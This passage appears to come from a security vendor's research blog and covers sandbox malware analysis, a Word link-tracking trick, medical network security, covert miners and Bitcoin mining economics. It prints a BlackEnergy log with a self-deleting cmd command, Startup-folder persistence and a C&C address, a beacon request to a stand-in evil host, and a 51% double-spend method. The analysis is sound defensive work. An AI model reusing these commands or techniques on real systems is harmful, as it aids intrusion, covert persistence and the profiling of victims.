By detonating a crafted document in our sandbox, we obtained an aggregate execution log which we then filtered for events with the Exploit Checker plugin. This produced quite a lot of events, so we will only present the most interesting, i.e. those that allow us to obtain the shellcode of CVE-2015-2546 – user space code executed in kernel mode. (SMEP is used to counteract this technique.)

[…] <EXPLOIT_CHECK Process=”FLTLDR.EXE” Pid=”0x000000000000XXXX” Tid=”0x000000000000XXXX”>UserSpaceSupervisorCPL(“VA:0000000001FC29C0”,allocbase=0000000001FC0000,base=0000000001FC2000,size=4096(0x1000),dumpBase=0000000001FC2000,dumpid=0xD)</EXPLOIT_CHECK>
<EXPLOIT_CHECK Process=”FLTLDR.EXE” Pid=”0x000000000000XXXX” Tid=”0x000000000000XXXX”>SecurityTokenChanged()</EXPLOIT_CHECK>
[…]
  1. We find the dump with ID = 0xD among the memory dumps of the process FLTLDR.EXE;
  2. The base address of the memory area is 0x1FC2000, the address of the code is located at 0x1FC29C0;
  3. Shellcode offset equals 0x1FC29C0 — 0x1FC2000 = 0x9C0.


Shellcode in a memory dump

Naturally, the shellcode search algorithm will change depending on the type of vulnerability, but that doesn’t change the basic principle.

Exploit Checker is a plugin for the logging system that provides extra events, based on certain heuristics, to the execution log. Apart from that, it collects the required artifacts: memory dumps that are used for further analysis and for detection.

BlackEnergy in the sandbox

We have already reported on an attack launched in Ukraine by the APT group BlackEnergy using Microsoft Word documents. Here’s a summary of the analysis:

  1. Microsoft Word documents containing macros were used in the attack;
  2. A macro drops the file vba_macro.exe, a typical BlackEnergy dropper, to the disk;
  3. exe drops the file FONTCACHE.DAT, a regular DLL file, to the disk;
  4. For the DLL file to execute at each system launch, the dropper creates an LNK file in the startup system folder;
  5. The Trojan connects to its C&C at 5.149.254.114.

Below is a fragment of the execution log that we obtained by detonating a malicious Microsoft Word document in our sandbox running a guest Windows 7 x64 environment.

[0XXX] >> ShellExecuteExW (“[HIDDEN_DIR]\e15b36c2e394d599a8ab352159089dd2.doc”)
[…] <PROCESS_CREATE_SUCCESS Pid=”0xXXX” ParentPid=”0xXXX” CreatedPid=”0xYYY” />
<PROC_LOG_START Pid=”0xYYY” RequestorPid=”0xXXX” Reason=”OnCreateChild”>
<ImagePath>\Device\HarddiskVolumeZ\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE</ImagePath>
<CmdLine>&quot;%PROGRAM_FILES%\Microsoft Office\Office14\WINWORD.EXE&quot; /n &quot;[HIDDEN_DIR]\e15b36c2e394d599a8ab352159089dd2.doc&quot;</CmdLine>
</PROC_LOG_START>
[…] <LOAD_IMAGE Pid=”0xYYY” ImageBase=”0x30000000″ ImageSize=”0x15d000″>
<ImagePath>\Device\HarddiskVolumeZ\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE</ImagePath>
</LOAD_IMAGE>
<LOAD_IMAGE Pid=”0xYYY” ImageBase=”0x78e50000″ ImageSize=”0x1a9000″>
<ImagePath>\SystemRoot\System32\ntdll.dll</ImagePath>
</LOAD_IMAGE>
<LOAD_IMAGE Pid=”0xYYY” ImageBase=”0x7de70000″ ImageSize=”0x180000″>
<ImagePath>\SystemRoot\SysWOW64\ntdll.dll</ImagePath>
</LOAD_IMAGE>
[…] [0YYY] >> SetWindowTextW (0000000000050018,00000000001875BC -> “e15b36c2e394d599a8ab352159089dd2.doc [Compatibility Mode] — Microsoft Word”) => 00000000390A056C {0000}
[…] <FILE_CREATED Pid=”0xYYY”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_CREATED>
<FILE_WRITE Pid=”0xYYY” Position=”0x0″ Size=”0x0000000000000001″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_WRITE>
<FILE_WRITE Pid=”0xYYY” Position=”0x1″ Size=”0x0000000000000001″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_WRITE>
<FILE_WRITE Pid=”0xYYY” Position=”0x2″ Size=”0x0000000000000001″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_WRITE>
[…] <FILE_WRITE Pid=”0xYYY” Position=”0x1afff” Size=”0x0000000000000001″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_WRITE>
<FILE_MODIFIED Pid=”0xYYY”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_MODIFIED>
[0YYY] << CloseHandle () [00000001] {0000}
[…] [0YYY] >> CreateProcessW (0000000000000000 -> (NULL),000000000047FEDC -> “%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe”,0000000000000000,0000000000000000,00000000,00000000,0000000000000000,0000000000000000 -> (NULL),00000000001883B0 -> (STARTUPINFOEXW*){(STARTUPINFOW){,,lpDesktop=0000000000000000 -> (NULL),lpTitle=0000000000000000 -> (NULL),,,,,,,,,wShowWindow=0001,,,,,},},00000000001883F4) => 000000000B87C2F8 {0000}
<PROCESS_CREATE_SUCCESS Pid=”0xYYY” ParentPid=”0xYYY” CreatedPid=”0xZZZ” />
<PROC_LOG_START Pid=”0xZZZ” RequestorPid=”0xYYY” Reason=”OnCreateChild”>
<ImagePath>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</ImagePath>
<CmdLine>%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</CmdLine>
</PROC_LOG_START>
<LOAD_IMAGE Pid=”0xYYY” ImageBase=”0xcb90000″ ImageSize=”0x1b000″>
<ImagePath>\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</ImagePath>
</LOAD_IMAGE>
[…] [0ZZZ] << SHGetFolderPathA (,,,,000000000018FCC0 -> “%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local”) [00000000] {0000}
[0ZZZ] >> CreateFileA (000000000018FCC0 -> “%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT”,40000000,00000000,0000000000000000,00000002,00000002,0000000000000000 -> (NULL)) => 0000000000421160 {0000}
<FILE_CREATED Pid=”0xZZZ”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT</Name>
</FILE_CREATED>
[…] <FILE_WRITE Pid=”0xZZZ” Position=”0x0″ Size=”0x000000000000DE00″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT</Name>
</FILE_WRITE>
[…] <FILE_MODIFIED Pid=”0xZZZ”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT</Name>
</FILE_MODIFIED>
[0ZZZ] << CloseHandle () [00000001] {0000}
[…] <FILE_CREATED Pid=”0xZZZ”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{C2F5139C-7918-4CE6-A17C-77B9290128D8}.lnk</Name>
</FILE_CREATED>
[…] <FILE_WRITE Pid=”0xZZZ” Position=”0x0″ Size=”0x000000000000075D”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{C2F5139C-7918-4CE6-A17C-77B9290128D8}.lnk</Name>
</FILE_WRITE>
<FILE_MODIFIED Pid=”0xZZZ”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{C2F5139C-7918-4CE6-A17C-77B9290128D8}.lnk</Name>
</FILE_MODIFIED>
[…] [0ZZZ] >> ShellExecuteW (0000000000000000,000000000018FEC8 -> “open”,000000000018F8B0 -> “%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{C2F5139C-7918-4CE6-A17C-77B9290128D8}.lnk”,0000000000000000 -> (NULL),0000000000000000 -> (NULL),00000000) => 000000000042195D {0000}
[…] <PROCESS_CREATE_SUCCESS Pid=”0xZZZ” ParentPid=”0xZZZ” CreatedPid=”0xAAA” />
<PROC_LOG_START Pid=”0xAAA” RequestorPid=”0xZZZ” Reason=”OnCreateChild”>
<ImagePath>\Device\HarddiskVolumeZ\Windows\SysWOW64\rundll32.exe</ImagePath>
<CmdLine>&quot;%SYSTEM_ROOT%\Windows\System32\rundll32.exe&quot; &quot;%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT&quot;,#1</CmdLine>
</PROC_LOG_START>
[…] [0ZZZ] >> CreateProcessA (000000000018F334 -> “%SYSTEM_ROOT%\Windows\system32\cmd.exe”,000000000018EE20 -> “/s /c \”for /L %i in (1,1,100) do (attrib +h \”%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\VBA_MA~1.EXE\” & del /A:h /F \”%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\VBA_MA~1.EXE\” & ping localhost -n 2 & if not exist \”%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT\” Exit 1)\””,0000000000000000,0000000000000000,00000000,08000000,0000000000000000,0000000000000000 -> (NULL),000000000018F848 -> (STARTUPINFOA*){cb=00000044,lpReserved=0000000000000000 -> (NULL),lpDesktop=0000000000000000 -> (NULL),lpTitle=0000000000000000 -> (NULL),dwX=00000000,dwY=00000000,dwXSize=00000000,dwYSize=00000000,dwXCountChars=00000000,dwYCountChars=00000000,dwFillAttribute=00000000,dwFlags=00000001,wShowWindow=0000,cbReserved2=0000,lpReserved2=0000000000000000,hStdInput=0000000000000000 -> (NULL),,},000000000018F88C) => 0000000000421666 {0000}
<PROCESS_CREATE_SUCCESS Pid=”0xZZZ” ParentPid=”0xZZZ” CreatedPid=”0xBBB” />
<PROC_LOG_START Pid=”0xBBB” RequestorPid=”0xZZZ” Reason=”OnCreateChild”>
<ImagePath>\Device\HarddiskVolumeZ\Windows\SysWOW64\cmd.exe</ImagePath>
<CmdLine>/s /c &quot;for /L %i in (1,1,100) do (attrib +h &quot;%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\VBA_MA~1.EXE&quot; &amp; del /A:h /F &quot;%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\VBA_MA~1.EXE&quot; &amp; ping localhost -n 2 &amp; if not exist &quot;%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT&quot; Exit 1)&quot;</CmdLine>
</PROC_LOG_START>
[…]

As a result of executing the malicious document, we obtained the following:

  • A log of called API functions in all processes associated with malicious activities;
  • Memory maps for all these processes, including both the loaded modules and heap memory;
  • All changes to the file system;
  • Network packets;
  • Screenshots.

This information is more than sufficient for a detailed analysis.

Conclusions

Kaspersky Lab’s sandbox for Windows applications is a large and a complex project that has been running for several years now. During this period, the logging system has demonstrated its effectiveness, so we use it not only in our internal infrastructure but in Kaspersky Anti Targeted Attack Platform too.

The use of a hypervisor has solved numerous problems related to malicious programs detecting sandbox environments. However, cybercriminals are continuously inventing new techniques, so we keep a close watch on the threat landscape and quickly introduce any necessary updates to the code base.

2017. szeptember 18.

An (un)documented Word feature abused by attackers

A little while back we were investigating the malicious activities of the Freakyshelly targeted attack and came across spear phishing emails that had some interesting documents attached to them. They were in OLE2 format and contained no macros, exploits or any other active content. However, a close inspection revealed that they contained several links to PHP scripts located on third-party web resources. When we attempted to open these files in Microsoft Word, we found that the application addressed one of the links. As a result, the attackers received information about the software installed on the computer.

What did the bad guys want with that information? Well, to ensure a targeted attack is successful, intelligence first needs to be gathered, i.e. the bad guys need to find ways to reach prospective victims and collect information about them. In particular, they need to know the operating system version and the version of some applications on the victim computer, so they can send it the appropriate exploit.

In this specific case, the document looked like this:

There’s nothing suspicious about it at first glance – just a few tips about how to use Google search more effectively. The document contains no active content, no VBA macros, embedded Flash objects or PE files. However, when the user opens the document, Word sends the following GET request to one of the internal links. So we opened the original document used in the attack, replaced the suspicious links with http://evil-*, and obtained the following:

GET http://evil-333.com/cccccccccccc/ccccccccc/ccccccccc.php?cccccccccc HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; MSOffice 12)
Accept-Encoding: gzip, deflate
Host: evil-333.com
Proxy-Connection: Keep-Alive

This code effectively sent information about the software installed on the victim machine to the attackers, including info about which version of Microsoft Office was installed. We decided to examine why Office followed that link, and how these links can be identified in documents.

Inside a Word document

The first thing about the document that caught our eye was the INCLUDEPICTURE field containing one of the suspicious links. However, as can be seen, that is not the link that Word addresses.

As a matter of fact, the data chunk seen in the fragment above contains the first and only piece of text in this document. The text in Word documents resides in the WordDocument stream in a ‘raw state’, i.e. it contains no formatting except so-called fields. The fields tell Word that a certain segment of the text must be presented in a specific way; for example, it is thanks to these fields that we can see active links to other pages of the document, URL links, etc. The field INCLUDEPICTURE indicates that an image is attached to certain characters in the text. The 0x13 byte (marked in red) in front of this field indicates that the ‘raw’ text ends there and a field description begins. The description format is roughly as follows (according to [MS-DOC]: Word (.doc) Binary File Format):

Begin = 0x13
Sep = 0x14
End = 0x15
Field = <Begin> *<Field> [Sep] *<Field> <End>

The separator byte 0x14 is marked in yellow, and the field end byte 0x15 is shown inside the pink box.

The link to the image in the INCLUDEPICTURE field should be in ASCII format, but in this case it is in Unicode, so Word ignores the link. However, the separator byte 0x14 is followed by the byte 0x01 (shown in the green box) which indicates to the word processor that an image should be inserted at this point. The question is: how do we find this image?

The characters and groups of characters within the text also possess properties; just like fields, these properties are responsible for formatting (for example, they specify that a certain piece of text must be rendered in italics). The properties of characters are stored in a two-level table within document streams under the names ‘xTable’ and ‘Data’. We will not go into the complex details of how to analyze character properties, but as a result of this analysis we can find the character properties from the offset 0x929 to 0x92C in the WordDocument stream:

This is the byte sequence with the picture placeholder 0x14 0x01 0x15. In the actual document, these bytes are located at offsets 0xB29 – 0xB2C, but the WordDocument stream begins with offset 0x200, and the character offsets are specified relative to its beginning.

The properties of the group of characters CP[2] indicate that an image is attached to them that is located in the Data stream at offset 0:

1FEF: prop[0]: 6A03 CPicLocation
1FF1: value[0]: 00000000 ; character = 14

We arrive at this conclusion based on the fact that byte 0x01 is indicated in the INCLUDEPICTURE field’s value – this means the image should be located in the Data stream at the appropriate offset. If this value were different, then it would have been necessary to look for the image in a different place or ignore this property.

This is where we stumbled on an undocumented feature. Microsoft Office documentation provides basically no description of the INCLUDEPICTURE field. This is all there is:

0x43 INCLUDEPICTURE Specified in [ECMA-376] part 4, section 2.16.5.33.

Standard ECMA-376 describes only that part of INCLUDEPICTURE that precedes the separator byte. It has no description of what the data that follows it may mean, and how it should be interpreted. This was the main problem in understanding what was actually happening.

So, we go to offset 0 in the Data stream and see that the so-called SHAPEFILE form is located there:

Forms are described in a different Microsoft document: [MS-ODRAW]: Office Drawing Binary File Format. This form has a name and, in this case, it is another suspicious link:

However, this is just an object name, so this link is not used in any way. While investigating this form further, let’s look at the flags field (in the red box):

The value 0x0000000E resolves into a combination of three flags:

  • msoblipflagURL 0x00000002
  • msoblipflagDoNotSave 0x00000004
  • msoblipflagLinkToFile 0x00000008

This indicates that additional data should be attached to the form (it is highlighted in yellow in the screenshot), and that this data constitutes a URL that leads to the actual content of the form. Also, there is a ‘do not save’ flag, which prevents this content from being saved to the actual document when it is opened.

If we look at what this URL is, we see that it’s the actual link that Word follows when the document is opened:

We should note that besides Word for Windows, this ‘feature’ is also present in Microsoft Office for iOS and in Microsoft Office for Android; LibreOffice and OpenOffice do not have it. If this document is opened in LibreOffice or OpenOffice, the malicious link is not called.

This is a complex mechanism that the bad guys have created to carry out profiling of potential victims for targeted attacks. In other words, they perform serious in-depth investigations in order to stay undetected while they carry out targeted attacks.

Kaspersky Lab’s security products are able to detect when the technique described in this article is used in Microsoft Word documents, and to find links embedded in a document using the same technique.

2017. szeptember 13.

Connected Medicine and Its Diagnosis

Medical data is slowly but surely migrating from paper mediums to the digital infrastructure of medical institutions. Today, the data is “scattered” across databases, portals, medical equipment, etc. In some cases, the security of the network infrastructure of such organizations is neglected, and resources that process medical information are accessible from outside sources.

Results that had been obtained during research that we discussed in a previous article called for a more detailed analysis of the security problem, but now from within medical institutions (with the consent of their owners, of course). The analysis allowed us to work on mistakes and give a series of recommendations for IT experts who service medical infrastructure.

Incorrect diagnosis is the first step to a fatal outcome

Providing data security in medicine is an issue that is more serious than it may seem at first glance. The most obvious scenario, which is the theft and reselling of medical data on the black market, does not seem as scary as the possibility of diagnostic data being modified by evildoers. Regardless of the goals of evildoers (extorting money from hospital owners or attacks targeted at specific patients), nothing good comes to patients as a result: after receiving incorrect data, doctors may prescribe the wrong course of treatment. Even if data substitution is detected in time, the normal operation of the medical institution may be disrupted, prompting the need to recheck all of the information stored on compromised equipment.

According to a report by the Centers for Disease Control and Prevention (CDC), the third leading cause of death in the USA comes from medical errors. Establishing a correct diagnosis depends on, aside from the qualification of a patient’s doctor, the correctness of data that is received from medical devices and stored on medical servers. This means that the resources for connected medicine produce an increased attraction for evildoers.

What is connected medicine?

This term refers to a large number of workstations, servers, and dedicated medical equipment that are connected to the network of a medical institution (a simplified model is shown in the figure below).


The network topology of connected medicine

Contemporary diagnostic devices can be connected to the LAN of an organization or to workstations through, for example, USB connections. Medical equipment quite often processes data (for example, a patient’s photographs) in DICOM format, which is an industry standard for images and documents. In order to store them and provide access to them from outside, PACSs (Picture Archiving and Communication Systems) are used, which can also be of interest to evildoers.

Recommendation #1: remove all nodes that process medical data from public access

It should be obvious that medical information should remain exclusively within the LAN of an institution. Currently, however, more than one thousand DICOM devices are in public access, which is confirmed by statistics obtained by using the Shodan search engine.


The geographical spread of DICOM devices (according to data from the Shodan search engine)

Generally, all types of PACS servers, which store information valuable to evildoers, are in public access. PACSs should be placed within the corporate perimeter, insulated from unauthorized use by third parties, and periodically backed up.

Recommendation #2: assign counter-intuitive names to resources

Even during the reconnaissance phase, attackers can obtain data that is important for an attack. So, for example, when enumerating available resources, they can find out the names of internal resources (servers and workstations) and thus determine which network nodes are useful to them and which ones are not.


Data about resources on the LAN of an organization that was obtained using open sources

To cite “interesting” resources as an example, let’s note database servers and other locations where medical information is collected. Aside from that, attackers may use obvious resource names to identify workstations with connected medial equipment.


An example of poor naming of internal resources on the LAN of a medical institution, which shows attackers where valuable data is kept

In order to make things harder for evildoers, obvious naming practices should be avoided. There are recommendations out there on how to name workstations and servers that have been compiled by competent organizations. We suggest that you take a look.

Yes, naming policy can provide useful information about your infrastructure. Must read for medical facilities: https://t.co/btJK6jp134

— Denis Makrushin (@difezza) March 16, 2017

Recommendation #3: periodically update your installed software and remove unwanted applications

Evildoers may find many potential entry points when analyzing installed software on network nodes that process valuable information. In the example below, a workstation has several applications installed that have nothing to do with medicine (the W32.Mydoom worm and the Half-Life Engine game server). Additionally, that list has a series of applications that have critical vulnerabilities with published exploits.


An example of software installed on a workstation with connected medical equipment

One more example of such a careless approach is the installation of third-party software on a server that is responsible for the operation of the institution’s web portal, which allows doctors and patients to remotely access medical data.


A server with a tool for viewing DICOM images that has third-party software as well

In order to rule out the possibility of data access via third-party software, installed applications should be regularly inspected and updated. There should be no extra software on workstations with connected medical equipment.


An example of a vulnerable medical web portal that contains critical vulnerabilities that lead to medical data.

Recommendation #4: refrain from connecting expensive equipment to the main LAN of your organization

Medical devices used to help perform diagnoses and operations are very often expensive in terms of maintenance (for example, calibration), which requires significant financial investments from the owner.

An evildoer who gains access to equipment or a workstation with a connected device may:

  • exfiltrate medical data directly from the device;
  • spoof diagnostic information;
  • reset equipment settings, which will lead to unreliable data output or temporary incapacitation.

In order to gain access to data that is produced by the device, an evildoer only has to search for specific software.


An evildoer may isolate medical applications on the list of installed software on a workstation and modify operation parameters for medical equipment

To prevent unauthorized access to equipment, it is necessary to isolate all of the medical devices and workstations connected to them as a separate LAN segment and provide a means to carefully monitor events occurring in that segment (see also recommendation #5).

Recommendation #5: provide timely detection of malicious activity on your LAN

When there’s no opportunity to install a security solution directly on the device itself (sometimes warranties prohibit any modifications at the operating system level), alternative options for detecting and/or confounding evildoers should be found. We discussed one of these options in the article titled “Deceive in Order to Detect”.

The defending party may prepare a set of dedicated traps, which consist of LAN nodes that simulate medical equipment. Any unauthorized access to them may serve as a signal that someone has compromised the network and that the IT department of the medical institution should take appropriate action.

There are numerous methods for detecting malicious activity, and there is no sense in listing all of them as recommendations. Every IT department bases its choice of technology, products, and strategies for providing informational security on a large number of factors (the network size, resource priorities, available finances, etc.). Still, it is important to remember the main thing, which is that a lack of protection in medical infrastructure may cost the lives of patients.

2017. szeptember 12.

Miners on the Rise

Miners are a class of malware whose popularity has grown substantially this year. The actual process of cryptocurrency mining is perfectly legal, though there are groups of people who hoodwink unwitting users into installing mining software on their computers, or exploiting software vulnerabilities to do so. This results in threat actors receiving cryptocurrency, while their victims’ computer systems experience a dramatic slowdown. Over the last month alone, we have detected several large botnets designed to profit from concealed crypto mining. We have also observed growing numbers of attempts to install miners on servers owned by organizations. When these attempts are successful, the companies’ business processes suffer because data processing speeds fall substantially.

In general, the number of users that have encountered cryptocurrency miners has increased dramatically in recent years. For example, in 2013 our products protected around 205,000 of users globally when they were targeted by this type of threat. In 2014 the number increased to 701,000, and the number of attacked users in the first eight months of 2017 reached 1.65 million.

Number of users Kaspersky Lab protected from malicious cryptocurrency miners from 2011 to 2017

Propagation methods

The main method for installing miners makes use of adware installers that are spread using social engineering. There are also more sophisticated propagation methods – one is exploiting vulnerabilities such as EternalBlue. In that case, the victim is a server, which is especially advantageous for the threat actors because they end up with a more powerful asset.

The following types of ads can be found in the Telegram messaging service:

Advert for a mining builder in a Telegram channel advertising opportunities to earn money online

By following the advertised link, the user can download a trial version of a builder which assembles a dropper for a miner with some extra features, including suspension of the software whenever the user launches a popular game.

The miner’s builder

To receive the full version, the user is prompted to contact the administrators of a group on the VKontakte social media site.

Main principles of operation

Concealed miners are very difficult to detect due to their specific nature and operating principles. Any user can independently install this kind of software on their computer and legally use it for mining a cryptocurrency.

Often, a crypto miner comes with extra services to maintain its presence within the system, automatic launch every time the computer is switched on, and concealed operation.

These services can, for example:

  • Try to turn off security software;
  • Track all application launches, and suspend their own activities if a program is started that monitors system activities or running processes;
  • Ensure a copy of the mining software is always present on the hard drive, and restore it if it is deleted.

The miner searches for system monitoring tools

We recently detected a network containing an estimated 5,000+ computers on which Minergate, a legal console miner, was installed without the users’ knowledge or consent. The software was distributed via an adware installer, and was installed as a service on the victim computer in the following way:

Minergate installation

  • The user downloads an installer from a file hosting service under the guise of a freeware program or keys to activate licensed products;
  • When launched, the installer downloads the miner’s dropper (exe) to the victim computer;
  • The dropper writes Minergate and the tool exe to the hard drive, using srvany.exe when the system boots to launch the miner as a service named windows driver.exe;
  • The dropper creates an additional service named exe which ensures the continuous operation of Minergate; if Minergate is deleted, the dropper restores it on the hard drive.

The dropper stores the miner configuration info in a registry record.

MinerGate’s configuration data

Moneymaking scheme

The two currencies most often used in concealed mining are monero (XMR) and zcash. These two ensure the anonymity of transactions, which comes in very handy for threat actors.

According to the most conservative estimates, the mining network can generate anything up to $30,000 a month to its owners.

The wallet of a mining botnet

The above screenshot shows a wallet coded into the miner’s configuration data. At the time of writing, a total of 2,289 XMR had been transferred from this wallet, which at the current exchange rate is equivalent to $208,299.

Assuming a regular desktop computer yields a hash rate of 30-100 H/sec, this bot may contain in the region of 4,000 computers.

Hash rates of the mining botnet plotted against time

Conclusion

As we see, threat actors will grasp any opportunity to make illegal money, and the methods to make money online are continuously evolving. The development of the cryptocurrency market has led to an explosive growth in cases where miners are installed without users’ knowledge or consent. This can be explained by the fact that when a new cryptocurrency is emerging, it is much easier to mine and make money from it. Threat actors are on the lookout for ways to use the resources of somebody else’s hardware, and often it is regular users who fall victim.

Kaspersky Lab’s solutions detect all the threats described in this article under the verdicts:

  • Win32.BitCoinMiner.hxao
  • PDM:Trojan.Win32.Generic
IOCs:

185b23c602e64dc6bcd2a2776095653e
33e46f76bc9bf1ff8380406f111f56af
26f42df21371bd4afe86a643ac0a6b44
25451e6fe30b54b432854bde5b9abb74

2017. szeptember 7.

Satoshi Bomb

Let us discuss what defines the profitability of bitcoin mining, what principles for mining speed adaptation were initially embedded into it, and why these principles can lead to the failure of the cryptocurrency in the long run.

We assume that the reader has an idea of basic Bitcoin mechanics such as blockchains, mining, mining pools, and block rewards.

Note: In this article, we investigate a theoretical possibility of how the described scenario may evolve by considering the algorithms embedded in Bitcoin. Our goal was not to make a deep analysis of the structure of miner expenditures, electricity prices in different areas of the world, bank interest rates, or payback periods for equipment.

A 51% attack

The Bitcoin community is well aware of “51% attack”. If a miner controls more than a half of all of the mining hashrate, then he or she is capable of doing the following:

  1. Pay with his or her bitcoins for a commodity or service or exchange them for traditional money.
  2. Begin generating blocks that do not include the mentioned transaction, but not show the generated blocks to other miners.
  3. Wait until the commodity has been delivered.
  4. Publish the generated chain of blocks.

At the same time, the following happens:

  • All of the other miners will have to accept the fraudster’s blockchain version as the only one that is genuine because it is longer and the miner has a mining hashrate that is more powerful than that of all of the participants put together.
  • The fraudster receives the commodity and keeps his/her bitcoins, as he or she did not spend them in his or her version of history.
  • The fraudster receives the reward for all of the generated blocks, not for one half of the blocks, which is what they would generate if they were playing fair and adding blocks to a common chain.
  • The fraudster during the Attack will most likely buy coins of another cryptocurrency using bitcoins, as it is fast, quite safe, and irreversible.

The community concurs that such an attack if it were possible, would raise questions about the further existence of Bitcoin.

It is important to note that a successful attack does not necessarily entail a 51% or higher hashrate. There is some possibility that it can be carried out with a smaller hashrate share. For example, owning 30% of hashrate gives the attacker about an 18% chance of generating a chain of five blocks in a row, which would be longer than the shared one. In that case, the attacker gains all of the same privileges as in a 51% attack. In case of failure, the attacker can just try again. The majority of services that receive bitcoin payments require only five “confirmations”, which means that such a generated chain will be enough.

Adaptation of mining difficulty

After generation of a pack of 2016 blocks, the Bitcoin network adapts the difficulty of mining. The standard of difficulty is when the mining of one block takes around 10 minutes. Therefore, mining 2016 blocks will take two weeks. If the generation process took, for instance, only one week, then the difficulty will be increased twofold after the next reassessment (so that it would take two weeks to generate the next 2016 blocks at the same network hashrate).

It’s worth noting that the Bitcoin network uses software to prohibit changing the difficulty of mining more than four times per one reassessment.

There are direct consequences stemming from these rules. If mining hashrates are added or removed during a period of 2016 blocks, then the following occurs:

  • This does not affect the reward received by the remaining miners in any way. The reward is determined by the hashrate of a miner but not their share in the common hashrate. For example, after one half of the hashrates have been deactivated, the remaining miners will mine twice as many blocks; but this will require double the time. Income will be retained.
  • This directly affects the output rate. If 99% miners stop mining, then the next difficulty reassessment will occur in 4 years. Creation of one block will take about 16 hours.

The authors of Bitcoin assumed that the described algorithm would smoothly adjust network power by pushing out less power-efficient equipment and restoring the reasonable marginality of the remaining equipment. However, what this rare difficulty reassessment does is open the door to another strategy for miners: they may trick the algorithm by artificially lowering network performance. After all, when a rig is abruptly powered down, the revenue generated for the day stays at the same level; and when a rig is suddenly powered up, costs are lowered.

Mining fees and the free will of miners

In addition to receiving a reward for a block (of an emitted currency), miners also collect fees for transactions that are included in the block. As of today, the fees currently sit at approximately 10% of the block reward. We won’t dwell on this for too long, but, nevertheless, according to our estimations, it turns out that the existence of fees makes the miner strategy that we are researching here even more appealing.

Another aspect is that mining pools frequently do not directly control the mining rigs that are part of those pools. Each participant and rig owner is free to choose the pool that they will work in. The decision to move from one pool to another is usually based on economic grounds.

However, the person in charge of the pool determines the policy regarding powering up and powering down the rigs and switching the rigs to mine an alternative currency (Bitcoin Cash). In other words, we think that the described behavioral strategy should be adopted and implemented by only about 20 participants who are pool owners: the rig owners do not matter in the least here even though they possess their own “free will”.

Let’s suppose that the total hashrate of all of the miners has been stabilized and review one of the strategies for increasing marginality.

An example of miner behavior during a stable Bitcoin network hashrate

For the sake of simplicity, let’s assume that you control one half of all of the hashrates of the Bitcoin network. You can keep the rig turned on all the time and receive the reward for about 1008 blocks (50%).

You could also do the following:

  1. Wait until the next period of 2016 blocks.
  2. Turn off your mining rigs.
  3. Wait until the remaining miners get 2016 blocks within 4 weeks.
  4. After that, the Bitcoin network will halve the mining difficulty for the next period.
  5. You can turn on your rigs, and the entire network will mine 2016 blocks within one week.
  6. You will receive a reward for the same 1008 blocks (approximately) within just a week.

Please note the first scenario assumes that five weeks of regular operation will yield a reward for 5/2 × 1008 = 2520 blocks, but you would have to pay for electricity for the entire time period. The second scenario assumes that the same five weeks will yield a reward for 1008 blocks, but you would have to pay the electricity costs for only one week.

Let’s suppose that the electricity price comprises only about 90% of the reward. It is easy to calculate that the first scenario assumes that a five-week profit is equivalent to a reward for 2520 × 0.1 = 252 blocks, while the second scenario yields a reward for “reward − costs” = 1008 − 0.9 × 1008/2 = 554.4. This means that the proposed strategy turns out to be twice as lucrative.

Economically profitable miner behavior with different parameters

Let’s assume the following.

  • A smart miner controls a share x, of the total network hashrate.
  • The bitcoin reward for all of the 2016 blocks is A.
  • The electricity and maintenance costs for two weeks of network rig operation equals C. We assume that the rent of premises and downtime costs are insignificant. To simplify the calculation, we deliberately disregard the depreciation of the rig.

Thus, the following happens.

  1. A miner’s reward is Ax − Cx for the time period of two weeks of regular operation.
